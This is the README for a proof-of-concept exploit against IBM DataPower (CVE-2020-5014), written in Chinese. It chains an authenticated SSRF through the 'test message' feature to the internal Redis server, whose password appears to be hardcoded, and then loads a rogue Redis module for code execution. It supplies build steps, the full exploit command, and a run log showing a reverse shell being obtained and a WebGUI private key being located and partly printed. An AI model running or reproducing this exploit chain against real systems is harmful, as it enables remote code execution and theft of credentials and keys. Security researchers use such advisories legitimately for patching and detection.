datapower-redis-rce-exploit (CVE-2020-5014)

针对IBM DataPower的认证Redis RCE漏洞利用的概念验证（POC），滥用"测试消息"功能。

poc_demo

说明

通过经过身份验证的会话访问DataPower WebGUI上的"发送测试消息"功能，可以对DataPower内部Redis服务器执行SSRF攻击。内部Redis服务器受密码保护，但似乎使用硬编码密码。然后，可以将此漏洞与现有的Redis RCE漏洞结合使用，以DataPower底层Linux操作系统中的drouter用户身份执行任意代码。

快速开始

克隆此仓库
编译模块：
- cd RedisModulesSDK/dpredisshell/
- make
编译Go代码
- go build
检查参数
- ./datapower-redis-rce-exploit -h

$ ./datapower-redis-rce-exploit -dpip 127.0.0.1 -dpport 9090 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd $DPREDISPASSWD -dpredisport 16379 -dpwebguipassword "admin" -dpwebguiuser "admin" -fakeredisip 127.0.0.1 -fakeredisport 8888 Main - 2020/10/18 23:34:29 datapower-redis-rce-exploit - Created by Thomas Cope Main - 2020/10/18 23:34:29 Starting Rogue Redis Server... Main - 2020/10/18 23:34:29 Attempting to Login to Datapower... FakeRedis - 2020/10/18 23:34:29 Starting Fake Redis Server on 127.0.0.1:8888 FakeRedis - 2020/10/18 23:34:29 Online and Ready! Main - 2020/10/18 23:34:29 Datapower Credentials Valid! Main - 2020/10/18 23:34:29 Datapower Login Token = JlkIp5wAvuQfSh5+cY49BovA.5 Main - 2020/10/18 23:34:29 Exchanging Login token for auth cookie... Main - 2020/10/18 23:34:29 Got login Cookie OK! - [ibmwdp=1wBXDLzY9XdTNz4aD5+JQspc.5; Path=/; HttpOnly; Secure]+ Main - 2020/10/18 23:34:29 Datapower Login Complete! Main - 2020/10/18 23:34:29 Attempting Redis exploit via Datapower 'Test Connection' ... Main - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'... FakeRedis - 2020/10/18 23:34:29 Accepting connection... FakeRedis - 2020/10/18 23:34:29 Accepted Connection OK! FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis Main - 2020/10/18 23:34:29 Datapower 'Test Connection' Finished OK Main - 2020/10/18 23:34:29 Datapower 'Test Connection' sent OK, waiting for redis connection... FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis FakeRedis - 2020/10/18 23:34:29 Uploading module... FakeRedis - 2020/10/18 23:34:29 Upload Complete! Main - 2020/10/18 23:34:29 Payload has been delivered to Datapower internal redis! Main - 2020/10/18 23:34:29 Performing clean up... Main - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'... FakeRedis - 2020/10/18 23:34:29 Error reading data from network connection: read tcp 127.0.0.1:8888->127.0.0.1:44207: read: connection reset by peer - (This is expected) FakeRedis - 2020/10/18 23:34:29 Connection Closed Main - 2020/10/18 23:34:30 Datapower 'Test Connection' Finished OK Main - 2020/10/18 23:34:30 Requesting Reverse Shell via Datapower 'Test Connection' ... Main - 2020/10/18 23:34:30 Waiting for Reverse Shell... Main - 2020/10/18 23:34:30 Performing Datapower 'Test Connection'... FakeRedis - 2020/10/18 23:34:30 Accepting connection... Main - 2020/10/18 23:34:30 Got Reverse Shell! Main - 2020/10/18 23:34:30 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ id uid=1000(drouter) gid=1000(drouter) groups=1000(drouter) ps -ef UID PID PPID C STIME TTY TIME CMD drouter 1 0 6 22:00 pts/0 00:02:15 /opt/ibm/datapower/root/drouter drouter 24 1 0 22:00 pts/0 00:00:06 QuotaEnforcement unix:/opt/ibm/datapower/drouter/ramdisk2/sidecar-QuotaEnforcement-0x7f4f38c6e2c8 QuotaEnforcement drouter 27 24 0 22:00 pts/0 00:00:05 /opt/ibm/datapower/root/dp-redis-server 127.0.0.1:16379 drouter 28 24 0 22:00 pts/0 00:00:08 /opt/ibm/datapower/root/dp-redis-sentinel 127.0.0.1:26379 [sentinel] drouter 40 1 0 22:00 pts/0 00:00:05 dpmon -F dpmon -T -s 1 -c 900 -U /opt/ibm/datapower/drouter/temporary/dpmon/ -m /opt/ibm/datapower/drouter/temporary/dpmon/ -i 8 -M 31457280 -Z UTC -B 0 drouter 61 27 0 22:34 pts/0 00:00:00 [sh] drouter 63 61 0 22:34 pts/0 00:00:00 find / -name webgui-privkey.pem 2>/dev/null /opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem head -2 /opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem -----BEGIN PRIVATE KEY----- MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDYFBod9TmWZLKT

datapower-redis-rce-exploit

最受欢迎

示例

入侵指标（IOC）

修复/补丁

链接与致谢